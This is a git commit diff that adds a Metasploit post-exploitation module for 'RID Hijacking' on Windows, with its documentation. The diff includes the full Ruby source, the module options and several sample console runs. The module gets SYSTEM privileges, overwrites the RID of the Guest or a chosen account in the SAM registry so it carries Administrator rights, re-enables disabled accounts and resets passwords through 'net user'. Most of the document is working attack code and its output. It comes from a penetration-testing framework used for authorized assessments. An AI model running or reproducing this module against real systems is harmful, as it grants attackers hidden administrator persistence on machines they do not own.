Land #9595, Add post module RID Hijacking on Windows
This commit is contained in:
commit
e17be05e6a
|
@ -0,0 +1,144 @@
|
|||
## Overview
|
||||
|
||||
This module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.
|
||||
|
||||
Taking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.
|
||||
|
||||
By using a `meterpreter` session against a Windows host, the module will try to acquire _**SYSTEM**_ privileges if needed, and will modify some attributes to hijack the permissions of an existing local account and set them to another one.
|
||||
|
||||
For more information see [csl.com.co](http://csl.com.co/rid-hijacking/).
|
||||
|
||||
## Vulnerable Software
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
- Windows XP, 2003. (32 bits)
|
||||
- Windows 8.1 Pro. (64 bits)
|
||||
- Windows 10. (64 bits)
|
||||
- Windows Server 2012. (64 bits)
|
||||
|
||||
This module was not tested against, but may work on:
|
||||
|
||||
- Other versions of windows (x86 and x64).
|
||||
|
||||
## Options
|
||||
|
||||
- **GETSYSTEM**: Try to get _**SYSTEM**_ privileges on the victim. Default: `false`
|
||||
|
||||
- **GUEST_ACCOUNT**: Use the _**GUEST**_ built-in account as the destination of the privileges to be hijacked. Set this account as the _hijacker_. Default: `false`.
|
||||
|
||||
- **SESSION**: The session to run this module on. Default: `none`.
|
||||
|
||||
- **USERNAME**: Set the user account (_SAM Account Name_) of the victim host which will be the destination of the privileges to be _hijacked_. Set this account as the _hijacker_. If **GUEST_ACCOUNT** option is set to `true`, this parameter will be ignored if defined. Default: `none`.
|
||||
|
||||
- **PASSWORD**: Set or change the password of the account defined as the destination of the privileges to be hijacked, either _**GUEST**_ account or the user account set in **USERNAME** option. Set password to the _hijacker_ account. Default: `none`.
|
||||
|
||||
- **RID**: Specify the RID number in decimal of the _victim account_. This number should be the RID of an existing account on the target host, no matter if it is disabled (i.e.: The RID of the _**Administrator**_ built-in account is 500). Set the RID owned by the account that will be _hijacked_. Default: `500`
|
||||
|
||||
## Verification steps
|
||||
|
||||
1. Get a `meterpreter` session on some host.
|
||||
2. Do: `use post/windows/manage/rid_hijack`
|
||||
3. Do: `set SESSION <SESSION_ID>` replacing <SESSION_ID> with the desired session.
|
||||
4. Do: `set GET_SYSTEM true`.
|
||||
5. Do: `set GUEST_ACCOUNT true`.
|
||||
6. Do: `run`
|
||||
7. Log in on the victim host with the GUEST account credentials.
|
||||
|
||||
## Scenarios
|
||||
### Assigning Administrator privileges to Guest built-in account.
|
||||
```
|
||||
msf post(rid_hijack) > set GETSYSTEM true
|
||||
GETSYSTEM => true
|
||||
msf post(rid_hijack) > set GUEST_ACCOUNT true
|
||||
GUEST_ACCOUNT => true
|
||||
msf post(rid_hijack) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(rid_hijack) > run
|
||||
|
||||
[*] Checking for SYSTEM privileges on session
|
||||
[+] Session is already running with SYSTEM privileges
|
||||
[*] Target OS: Windows 8.1 (Build 9600).
|
||||
[*] Target account: Guest Account
|
||||
[*] Target account username: Invitado
|
||||
[*] Target account RID: 501
|
||||
[*] Account is disabled, activating...
|
||||
[+] Target account enabled
|
||||
[*] Overwriting RID
|
||||
[+] The RID 500 is set to the account Invitado with original RID 501
|
||||
[*] Post module execution completed
|
||||
```
|
||||
#### Results after login in as the Guest account.
|
||||
|
||||
![guest_account](https://user-images.githubusercontent.com/14118912/36490462-4bf84d68-16f6-11e8-811c-bf2d8c42b93d.PNG)
|
||||
|
||||
### Assigning Administrator privileges to local custom account.
|
||||
```
|
||||
msf post(rid_hijack) > set GETSYSTEM true
|
||||
GETSYSTEM => true
|
||||
msf post(rid_hijack) > set GUEST_ACCOUNT false
|
||||
GUEST_ACCOUNT => false
|
||||
msf post(rid_hijack) > set USERNAME testuser
|
||||
USERNAME => testuser
|
||||
msf post(rid_hijack) > run
|
||||
|
||||
[*] Checking for SYSTEM privileges on session
|
||||
[+] Session is already running with SYSTEM privileges
|
||||
[*] Target OS: Windows 8.1 (Build 9600).
|
||||
[*] Checking users...
|
||||
[+] Found testuser account!
|
||||
[*] Target account username: testuser
|
||||
[*] Target account RID: 1002
|
||||
[+] Target account is already enabled
|
||||
[*] Overwriting RID
|
||||
[+] The RID 500 is set to the account testuser with original RID 1002
|
||||
[*] Post module execution completed
|
||||
```
|
||||
#### Results after login in as the _testuser_ account.
|
||||
![testuser](https://user-images.githubusercontent.com/14118912/36490561-837bd2f0-16f6-11e8-8dc6-53283bb4d9ea.PNG)
|
||||
|
||||
### Assigning custom privileges to Guest built-in account and setting new password to Guest.
|
||||
```
|
||||
msf post(rid_hijack) > set GUEST_ACCOUNT true
|
||||
GUEST_ACCOUNT => true
|
||||
msf post(rid_hijack) > set RID 1002
|
||||
RID => 1002
|
||||
msf post(rid_hijack) > set PASSWORD Password.1
|
||||
PASSWORD => Password.1
|
||||
msf post(rid_hijack) > run
|
||||
|
||||
[*] Checking for SYSTEM privileges on session
|
||||
[+] Session is already running with SYSTEM privileges
|
||||
[*] Target OS: Windows 8.1 (Build 9600).
|
||||
[*] Target account: Guest Account
|
||||
[*] Target account username: Invitado
|
||||
[*] Target account RID: 501
|
||||
[+] Target account is already enabled
|
||||
[*] Overwriting RID
|
||||
[+] The RID 1002 is set to the account Invitado with original RID 501
|
||||
[*] Setting Invitado password to Password.1
|
||||
[*] Post module execution completed
|
||||
```
|
||||
### Assigning custom privileges to local custom account and setting new password to custom account.
|
||||
```
|
||||
msf post(rid_hijack) > set GUEST_ACCOUNT false
|
||||
GUEST_ACCOUNT => false
|
||||
msf post(rid_hijack) > set USERNAME testuser
|
||||
USERNAME => testuser
|
||||
msf post(rid_hijack) > set PASSWORD Password.2
|
||||
PASSWORD => Password.2
|
||||
msf post(rid_hijack) > run
|
||||
|
||||
[*] Checking for SYSTEM privileges on session
|
||||
[+] Session is already running with SYSTEM privileges
|
||||
[*] Target OS: Windows 8.1 (Build 9600).
|
||||
[*] Checking users...
|
||||
[+] Found testuser account!
|
||||
[*] Target account username: testuser
|
||||
[*] Target account RID: 1002
|
||||
[+] Target account is already enabled
|
||||
[*] Overwriting RID
|
||||
[+] The RID 1002 is set to the account testuser with original RID 1002
|
||||
[*] Setting testuser password to Password.2
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,183 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Windows Manage RID Hijacking',
|
||||
'Description' => %q{
|
||||
This module will create an entry on the target by modifying some properties
|
||||
of an existing account. It will change the account attributes by setting a
|
||||
Relative Identifier (RID), which should be owned by one existing
|
||||
account on the destination machine.
|
||||
|
||||
Taking advantage of some Windows Local Users Management integrity issues,
|
||||
this module will allow to authenticate with one known account
|
||||
credentials (like GUEST account), and access with the privileges of another
|
||||
existing account (like ADMINISTRATOR account), even if the spoofed account is
|
||||
disabled.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'References' => [
|
||||
['URL', 'http://csl.com.co/rid-hijacking/']
|
||||
])
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
|
||||
OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),
|
||||
OptString.new('USERNAME', [false, 'User to set the defined RID.']),
|
||||
OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),
|
||||
OptInt.new('RID', [true, 'RID to set to the specified account.', 500])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def getsystem
|
||||
results = session.priv.getsystem
|
||||
if results[0]
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def get_name_from_rid(reg_key, rid, names_key)
|
||||
names_key.each do |name|
|
||||
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "")
|
||||
rid_user = skey['Type']
|
||||
return name if rid_user == rid
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
def get_user_rid(reg_key, username, names_key)
|
||||
names_key.each do |name|
|
||||
next unless name.casecmp(username).zero?
|
||||
print_good("Found #{name} account!")
|
||||
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "")
|
||||
rid = skey['Type']
|
||||
if !skey
|
||||
print_error("Could not open user's key")
|
||||
return -1
|
||||
end
|
||||
return rid
|
||||
end
|
||||
return -1
|
||||
end
|
||||
|
||||
def check_active(fbin)
|
||||
if fbin[0x38].unpack("H*")[0].to_i != 10
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def swap_rid(fbin, rid)
|
||||
# This function will set hex format to a given RID integer
|
||||
hex = [format("%04x", rid).scan(/.{2}/).reverse.join].pack("H*")
|
||||
# Overwrite new RID at offset 0x30
|
||||
fbin[0x30, 2] = hex
|
||||
return fbin
|
||||
end
|
||||
|
||||
def run
|
||||
# Registry key to manipulate
|
||||
reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'
|
||||
|
||||
# Checks privileges of the session, and tries to get SYSTEM privileges if needed.
|
||||
print_status("Checking for SYSTEM privileges on session")
|
||||
if !is_system?
|
||||
if datastore['GETSYSTEM']
|
||||
print_status("Trying to get SYSTEM privileges")
|
||||
if getsystem
|
||||
print_good("Got SYSTEM privileges")
|
||||
else
|
||||
print_error("Could not obtain SYSTEM privileges")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_good("Session is already running with SYSTEM privileges")
|
||||
end
|
||||
|
||||
# Checks the Windows Version.
|
||||
wver = sysinfo["OS"]
|
||||
print_status("Target OS: #{wver}")
|
||||
|
||||
# Load the usernames from SAM Registry key
|
||||
names_key = registry_enumkeys(reg_key + '\\Names')
|
||||
unless names_key
|
||||
print_error("Could not access to SAM registry keys")
|
||||
return
|
||||
end
|
||||
|
||||
# If username is set, looks for it in SAM registry key
|
||||
user_rid = -1
|
||||
username = datastore['USERNAME']
|
||||
if datastore['GUEST_ACCOUNT']
|
||||
user_rid = 0x1f5
|
||||
print_status("Target account: Guest Account")
|
||||
username = get_name_from_rid(reg_key, user_rid, names_key)
|
||||
else
|
||||
if datastore['USERNAME'].to_s.empty?
|
||||
print_error("You must set an username or enable GUEST_ACCOUNT option")
|
||||
return
|
||||
end
|
||||
print_status('Checking users...')
|
||||
user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)
|
||||
end
|
||||
|
||||
# Result of the RID harvesting
|
||||
if user_rid == -1
|
||||
print_error("Could not find the specified username")
|
||||
return
|
||||
else
|
||||
print_status("Target account username: #{username}")
|
||||
print_status("Target account RID: #{user_rid}")
|
||||
end
|
||||
|
||||
# Search the Registry associated to the user's RID and overwrites it
|
||||
users_key = registry_enumkeys(reg_key)
|
||||
users_key.each do |r|
|
||||
next if r.to_i(16) != user_rid
|
||||
f = registry_getvaldata(reg_key + "\\#{r}", "F")
|
||||
if check_active(f)
|
||||
print_status("Account is disabled, activating...")
|
||||
f[0x38] = ["10"].pack("H")
|
||||
print_good("Target account enabled")
|
||||
else
|
||||
print_good("Target account is already enabled")
|
||||
end
|
||||
|
||||
print_status("Overwriting RID")
|
||||
# Overwrite RID to specified RID
|
||||
f = swap_rid(f, datastore['RID'])
|
||||
|
||||
open_key = registry_setvaldata(reg_key + "\\#{r}", "F", f, "REG_BINARY")
|
||||
unless open_key
|
||||
print_error("Can't write to registry... Something's wrong!")
|
||||
return -1
|
||||
end
|
||||
print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")
|
||||
end
|
||||
# If set, changes the specified username's password
|
||||
if datastore['PASSWORD']
|
||||
print_status("Setting #{username} password to #{datastore['PASSWORD']}")
|
||||
cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")
|
||||
vprint_status(cmd.to_s)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue